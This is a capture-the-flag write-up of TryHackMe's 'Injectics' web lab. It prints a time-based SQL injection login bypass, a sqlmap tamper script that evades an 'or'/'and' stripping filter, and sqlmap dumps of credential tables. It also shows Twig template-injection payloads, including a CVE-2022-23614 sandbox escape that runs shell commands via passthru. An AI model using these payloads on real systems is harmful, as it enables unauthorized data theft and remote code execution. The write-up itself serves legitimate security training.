Injectics Write-up - TryHackMe
Bypassing SQLi filters and escaping from the Twig sandbox in a black-box web challenge.
Injectics is a medium level web challenge on TryHackMe. The challenge is completely black-box, which is why it took me a while to solve it.
Web Enumeration
I started by checking the user login form.
Some SQLi login bypasses didn’t work and there was no way to register a new user. I checked page’s source code and found a comment.
1
2
3
4
!-- Website developed by John Tim - [email protected]>
<!-- Mails are stored in mail.log file-->
<!-- Bootstrap JS and dependencies -->
I tried to access the mail.log
file and it was accessible.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
From: [email protected]
To: [email protected]
[...]
To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.
Here are the default credentials that will be added:
| Email | Password |
|---------------------------|-------------------------|
| [email protected] | superSecurePasswd101 |
| [email protected] | devPasswd123 |
[...]
We got the email and password of the superadmin. However, none of them worked. This file is a rabbit hole, which I lost a lot of time on.
Login Bypass
I intercepted the login request with Burp Suite and passed it to sqlmap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /functions.php HTTP/1.1
Host: 10.10.216.24
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://10.10.216.24
Connection: close
Referer: http://10.10.216.24/login.php
Cookie: PHPSESSID=m1u4jujhkfnml8erll0tn7pbfm
username=test*&password=&function=login
And then I ran sqlmap with the following command.
1
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --batch
Though sqlmap alerted that it found a possible SQL injection, it could not exploit it. It could not retrieve anything.
I tried some sqli payloads manually.
Interestingly, when I put this payload into the login form, it worked. At least, I was able to bypass the login.
1
' RLIKE (SELECT 3326=IF((16=70),SLEEP(0),3326))-- ZxuR
Developer Panel
After logging in, I could edit leaderboard entries
Again I intercepted the request with Burp Suite and passed it to sqlmap. This time, sqlmap didn’t even alert a possible sqli. Here I tried some SSTI payloads. Changed the gold
value to 7*7, and it worked. Unfortunately, there were no working payloads for anything except numerical computations
1
2
7*7 -> 49
7*'7' -> 49
I started inspecting the rank parameter on the URL.
1
http://10.10.216.24/edit_leaderboard.php?rank=1&country=USA
When I sent this request, it reflected in a table on the page.
1
<input type="hidden" name="rank" value="1">
Then I started to test UNION based sqli payloads manually. I checked this payload and its response was:
1
2
3
view-source:http://10.10.216.24/edit_leaderboard.php?rank=1%20order%20by%205%20--&country=USA
<input type="hidden" name="rank" value="1derby5">
Wait! What…? What’s that? The input was order by 5
and it reflected as 1derby5
. Here I realised that the or
was replaced with empty string
.
Tried the same thing for and
and it showed a similar behaviour.
1
2
3
view-source:http://10.10.216.24/edit_leaderboard.php?rank=hello_and&country=USA
<input type="hidden" name="rank" value="hello_">
Filter Bypass
Since or
and and
are replaced with empty string, I could bypass this filter by injecting or
and and
in the middle of the payload.
To bypass or
filter, I used oorr
and for and
filter, I used aandnd
. It did really work.
1
2
3
4
5
6
7
view-source:http://10.10.216.24/edit_leaderboard.php?rank=oorr&country=USA
<input type="hidden" name="rank" value="or">
view-source:http://10.10.216.24/edit_leaderboard.php?rank=aandnd&country=USA
<input type="hidden" name="rank" value="and">
The reason sqlmap didn’t work was probably this filter. I quickly prepared a custom tamper script for sqlmap that replaces or
with oorr
and and
with aandnd
.
1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
__priority__ = 1
def dependencies():
pass
def tamper(payload:str, **kwargs):
modified_payload = payload.lower().replace("and", "aandnd").replace("or", "oorr")
return modified_payload
I saved this script as bypass.py
and ran the same sqlmap command I ran at the beginning with the tamper script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --tamper=bypass.py --batch --dbs
[...]
[11:01:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 8.0.0
[...]
[*] bac_test
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sys
I got the database names. I continued to dump the tables and columns.
1
2
3
4
5
6
7
8
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --tamper=bypass.py --batch -D bac_test --tables
Database: bac_test
[2 tables]
+-------------+
| leaderboard |
| users |
+-------------+
Finally, I dumped the columns of the users
table.
1
2
3
4
5
6
7
8
9
10
11
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --tamper=bypass.py --batch -D bac_test -T users --columns
Database: bac_test
Table: users
[2 entries]
+------+--------------------------+-------+-------+---------------------+-------------+
| auth | email | fname | lname | password | reset_token |
+------+--------------------------+-------+-------+---------------------+-------------+
| 0 | [email protected] | admin | NULL | 34234vsdfwr2r2wf2r2 | NULL |
| 1 | [email protected] | dev | dev | 2342sdsfwf2wr2rf | 983084 |
+------+--------------------------+-------+-------+---------------------+-------------
This time, I got the superadmin password. I logged in with the credentials on the /adminLogin007.php
page and got the flag.
First Flag: THM{INJECTICS_ADMIN_PANEL_007}
SSTI on Admin Panel
On the admin panel, there was a profile
page, which allows us to change the name of the admin.
I put {{7*7}}
as the name and it reflected as 49
on the dashboard page.
The template engine was Twig
. I tried some payloads from Hacktricks.
1
2
3
4
5
6
7
8
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
{{'/etc/passwd'|file_excerpt(1,30)}}
I got following error when I tried to read /etc/passwd
.
1
Unknown "file_excerpt" filter in "__string_template__4964f28f57118647f2f4131353d42217ad03a67b0e90494c6b77f9a4318b9f06" at line 1.
No payloads worked because the application was sandboxed. Searched for a bypass and that’s how I encountered CVE-2022-23614
It suggests using the {{ ['id','']|sort('system') }}
payload to bypass the sandbox. For more information, you can also check this .
I tried the payload:
1
{{['id','']|sort('system')}}
Unfortunately, because the system
function was disabled, I got an error.
1
2
Welcome,
Warning: system() has been disabled for security reasons in /var/www/html/vendor/twig/twig/src/Extension/CoreExtension.php on line 919
The same error was thrown when I tried to use exec
function. Then I tried to use passthru
function and it worked.
1
2
{{['id','']|sort('passthru')}}
Welcome, uid=33(www-data) gid=33(www-data) groups=33(www-data)
That was it. I read the flag from the file.
1
{{['cat flags/5d8af1dc14503c7e4bdc8e51a3469f48.txt ','']|sort('passthru')}}
Second Flag: THM{5735172b6c147f4dd649872f73e0fdea}